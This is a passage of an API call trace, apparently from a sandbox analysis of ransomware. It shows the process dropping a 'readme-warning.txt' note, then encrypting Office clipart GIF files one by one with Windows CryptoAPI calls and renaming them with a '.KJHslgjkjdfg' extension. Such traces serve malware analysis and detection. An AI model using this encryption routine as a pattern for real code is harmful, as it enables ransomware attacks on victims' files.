dwFlags=0x0, pbData=0x9b18a0, pdwDataLen=0x29de54c | out: pbData=0x9b18a0, pdwDataLen=0x29de54c) returned 1 [0180.941] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0180.941] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0180.942] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0180.942] GetProcessHeap () returned 0x990000 [0180.942] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18a0 | out: hHeap=0x990000) returned 1 [0180.942] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0180.942] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0180.942] GetProcessHeap () returned 0x990000 [0180.942] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0180.942] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\readme-warning.txt") returned 90 [0180.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\readme-warning.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0180.946] WriteFile (in: hFile=0xf0, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0180.948] CloseHandle (hObject=0xf0) returned 1 [0180.948] GetProcessHeap () returned 0x990000 [0180.948] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc8b8 | out: hHeap=0x990000) returned 1 [0180.948] GetProcessHeap () returned 0x990000 [0180.948] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0180.948] GetProcessHeap () returned 0x990000 [0180.948] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0180.948] GetProcessHeap () returned 0x990000 [0180.948] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0180.948] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0180.949] GetProcessHeap () returned 0x990000 [0180.949] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc608 | out: hHeap=0x990000) returned 1 [0180.949] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0180.949] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0180.949] GetProcessHeap () returned 0x990000 [0180.949] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0180.949] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0 [0180.949] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0180.950] GetProcessHeap () returned 0x990000 [0180.950] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ffc90 | out: hHeap=0x990000) returned 1 [0180.950] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="10", cAlternateFileName="")) returned 0 [0180.950] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0180.950] GetProcessHeap () returned 0x990000 [0180.950] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0xa03c78 | out: hHeap=0x990000) returned 1 [0180.950] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fb8b3f0, ftCreationTime.dwHighDateTime=0x1d5a85b, ftLastAccessTime.dwLowDateTime=0x299a4b70, ftLastAccessTime.dwHighDateTime=0x1d565a3, ftLastWriteTime.dwLowDateTime=0x299a4b70, ftLastWriteTime.dwHighDateTime=0x1d565a3, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fling.exe", cAlternateFileName="")) returned 1 [0180.950] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68877860, ftCreationTime.dwHighDateTime=0x1d573d3, ftLastAccessTime.dwLowDateTime=0x3b3bb020, ftLastAccessTime.dwHighDateTime=0x1d582fa, ftLastWriteTime.dwLowDateTime=0x3b3bb020, ftLastWriteTime.dwHighDateTime=0x1d582fa, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="spcwin.exe", cAlternateFileName="")) returned 1 [0180.950] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68877860, ftCreationTime.dwHighDateTime=0x1d573d3, ftLastAccessTime.dwLowDateTime=0x3b3bb020, ftLastAccessTime.dwHighDateTime=0x1d582fa, ftLastWriteTime.dwLowDateTime=0x3b3bb020, ftLastWriteTime.dwHighDateTime=0x1d582fa, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="spcwin.exe", cAlternateFileName="")) returned 0 [0180.950] FindClose (in: hFindFile=0x9b65a8 | out: hFindFile=0x9b65a8) returned 1 [0180.950] GetProcessHeap () returned 0x990000 [0180.950] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0180.950] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdedc8ca0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdedc8ca0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0180.950] GetProcessHeap () returned 0x990000 [0180.950] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x54) returned 0x9e3770 [0180.951] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdedc8ca0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdedc8ca0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b65a8 [0180.951] GetProcessHeap () returned 0x990000 [0180.951] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9e3770 | out: hHeap=0x990000) returned 1 [0180.951] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdedc8ca0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdedc8ca0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.951] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0180.951] GetProcessHeap () returned 0x990000 [0180.951] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x256) returned 0x9f9760 [0180.951] GetProcessHeap () returned 0x990000 [0180.951] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x64) returned 0x9b0940 [0180.951] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0180.953] GetProcessHeap () returned 0x990000 [0180.953] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.953] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.953] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0180.953] GetProcessHeap () returned 0x990000 [0180.953] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x266) returned 0xa03c78 [0180.953] GetProcessHeap () returned 0x990000 [0180.953] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x76) returned 0x9a9d68 [0180.953] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0180.957] GetProcessHeap () returned 0x990000 [0180.957] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9a9d68 | out: hHeap=0x990000) returned 1 [0180.957] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.958] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0180.958] GetProcessHeap () returned 0x990000 [0180.958] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x278) returned 0x9b1eb0 [0180.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0180.958] GetProcessHeap () returned 0x990000 [0180.958] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.958] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.958] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0180.958] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0180.958] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.958] GetProcessHeap () returned 0x990000 [0180.959] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0180.959] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0180.959] CryptDestroyKey (hKey=0x9b6628) returned 1 [0180.959] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0180.961] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0180.961] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0180.961] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0180.961] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0180.961] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0180.961] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0180.961] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.961] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.962] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2340, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2340, lpOverlapped=0x0) returned 1 [0180.962] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2340, dwBufLen=0x2340 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2340) returned 1 [0180.962] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.963] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2340, lpOverlapped=0x0) returned 1 [0180.963] CryptDestroyKey (hKey=0x9b6628) returned 1 [0180.963] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.963] SetEndOfFile (hFile=0x130) returned 1 [0180.965] GetProcessHeap () returned 0x990000 [0180.965] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0180.965] GetProcessHeap () returned 0x990000 [0180.965] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.965] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.kjhslgjkjdfg")) returned 1 [0180.970] CloseHandle (hObject=0x130) returned 1 [0180.970] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83130700, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83130700, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0180.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0180.970] GetProcessHeap () returned 0x990000 [0180.970] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.970] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.970] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0180.970] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0180.970] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.970] GetProcessHeap () returned 0x990000 [0180.970] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0180.970] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0180.970] CryptDestroyKey (hKey=0x9b6628) returned 1 [0180.970] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0180.972] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0180.973] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0180.973] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0180.973] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0180.973] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0180.973] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0180.973] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.973] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.973] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1c30, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1c30, lpOverlapped=0x0) returned 1 [0180.974] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c30, dwBufLen=0x1c30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c30) returned 1 [0180.974] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.974] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1c30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1c30, lpOverlapped=0x0) returned 1 [0180.974] CryptDestroyKey (hKey=0x9b6628) returned 1 [0180.974] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.974] SetEndOfFile (hFile=0x130) returned 1 [0180.977] GetProcessHeap () returned 0x990000 [0180.977] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0180.977] GetProcessHeap () returned 0x990000 [0180.977] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.977] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.kjhslgjkjdfg")) returned 1 [0180.979] CloseHandle (hObject=0x130) returned 1 [0180.980] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78587200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78587200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0180.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0180.981] 